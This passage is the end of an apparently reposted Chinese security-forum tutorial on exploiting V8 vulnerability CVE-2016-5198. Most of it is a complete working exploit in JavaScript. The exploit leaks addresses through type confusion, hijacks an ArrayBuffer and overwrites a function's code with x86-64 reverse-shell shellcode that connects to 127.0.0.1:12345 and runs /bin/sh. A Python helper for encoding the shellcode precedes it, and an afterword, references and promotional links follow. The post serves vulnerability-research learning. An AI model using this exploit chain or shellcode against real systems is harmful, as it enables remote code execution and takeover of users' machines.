buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05\x90\x90"

for i in range(0,int(len(buf)/4)):
payload = u32(buf[4 * i : 4 * i + 4])
result = 'shellcode[{}] = {};'.format(i, hex(payload))
print(result)

4.2 完整EXP

//CVE-2016-5198
var ab = new ArrayBuffer(0x200);
var n;
var m;
var l;

var evil_f = new Function("var a = 1000000");

function d2u(num1, num2) {
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}

function u2d(num) {
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}

function get_addr(str) {
var leak_addr = str.charCodeAt(7) * 0x100000000000000;
leak_addr += str.charCodeAt(6) * 0x1000000000000;
leak_addr += str.charCodeAt(5) * 0x10000000000;
leak_addr += str.charCodeAt(4) * 0x100000000;
leak_addr += str.charCodeAt(3) * 0x1000000;
leak_addr += str.charCodeAt(2) * 0x10000;
leak_addr += str.charCodeAt(1) * 0x100;
leak_addr += str.charCodeAt(0) * 0x1;
return leak_addr;
}

function Ctor() {
n = new Set();
}
function Check(obj) {
n.xyz = 3.4766863919152113e-308;
n.xyz1 = 0x0;
n.xyz2 = 0x7000;
n.xyz3 = obj;
}

function Ctor2() {
m = new Map();
}
function Check2(addr) {
m.xyz = 3.4766863919152113e-308;
m.xyz1 = 0x0;
m.xyz2 = 0x7000;
m.xyz3 = addr;
}

function Ctor3() {
l = new ArrayBuffer();
}

function Check3(addr) {
l.xyz = 3.4766863919152113e-308;
l.xyz1 = addr;
}

for (var i = 0; i < 10000; ++i) {
Ctor();
Ctor2();
Ctor3();
}

for (var i = 0; i < 10000; ++i) {
Check(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}

Ctor();
Ctor2();
Ctor3();

Check(ab);
var str = new String(null);
var ab_addr = get_addr(str);
print("[+]ab_addr : 0x" + ab_addr.toString(16));
var ab_len_ptr = ab_addr + 0x18;
ab_len_ptr_float = d2u(ab_len_ptr / 0x100000000, ab_len_ptr & 0xffffffff);

Check(evil_f);
var evil_f_addr = get_addr(str);
print("[+]evil_f_addr : 0x" + evil_f_addr.toString(16));
var evil_fun_addr = evil_f_addr - 1;
evil_fun_addr_float = d2u(evil_fun_addr / 0x100000000, evil_fun_addr & 0xffffffff);

Check(Check)
var check_addr = get_addr(str);
var check_asm_addr = check_addr + 0x38 - 1;
print("[+]check_asm_addr : 0x" + check_asm_addr.toString(16));

Check(String(null));
var str_addr = get_addr(str);
print("[+]str_addr : 0x" + str_addr.toString(16));

Check2(ab_len_ptr_float);

Check3(evil_fun_addr_float);

f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];

print("0x" + (u2d(shellcode_addr_float)).toString(16));

Check3(shellcode_addr_float);

var shellcode = new Uint32Array(ab);

shellcode[0] = 0x9958296a;
shellcode[1] = 0x6a5f026a;
shellcode[2] = 0x50f5e01;
shellcode[3] = 0xb9489748;
shellcode[4] = 0x39300002;
shellcode[5] = 0x100007f;
shellcode[6] = 0xe6894851;
shellcode[7] = 0x6a5a106a;
shellcode[8] = 0x50f582a;
shellcode[9] = 0x485e036a;
shellcode[10] = 0x216aceff;
shellcode[11] = 0x75050f58;
shellcode[12] = 0x583b6af6;
shellcode[13] = 0x2fbb4899;
shellcode[14] = 0x2f6e6962;
shellcode[15] = 0x53006873;
shellcode[16] = 0x52e78948;
shellcode[17] = 0xe6894857;
shellcode[18] = 0x9090050f;

evil_f();


利用效果后记


后记

对于漏洞利用的研究,我认为由远及近的系统性研究更能对其演变产生理解,熟悉系统,强化漏洞利用的技法,最终形成自己的一套方法论,但是由于这个漏洞年代有些远了,很多当时复现文章中装环境的部分已经失去了有效性,容易踩坑,在折腾了许久环境后终于找到一条可用路径,故分享出来给各个想要入门的同学。

参考链接

v8入门 - 皮三宝のBlog(https://www.psbazx.com/2022/03/21/v8%E5%85%A5%E9%97%A8/)
case study:cve-2016-5198 | Sakuraのblog(https://eternalsakura13.com/2019/04/29/CVE-2016-5198/#more)
V8引擎CVE-2016-5198漏洞分析 - GToad Sec Blog(https://gtoad.github.io/2019/07/26/V8-CVE-2016-5198/)

看雪ID:JoJoRun

https://bbs.kanxue.com/user-home-995602.htm

*本文为看雪论坛精华文章,由 JoJoRun 原创,转载请注明来自看雪社区

# 往期推荐

1、Windows主机入侵检测与防御内核技术深入解析

2、好心群友给的外挂大礼包——记一次远控马分析

3、Fastjson反序列化利用链分析

4、Java内存马 Filter调用链分析

5、.NET Remoting反序列化升级版之TypeFilterLevel.Low模式无文件payload任意代码执行

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458571919&idx=2&sn=25b958d11b24f8a3d9aa5b712cdac482&chksm=b18de40586fa6d138141e0c22e2bb2e731cef9547af5e87123e2072d8d9f3610410e6061780e&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh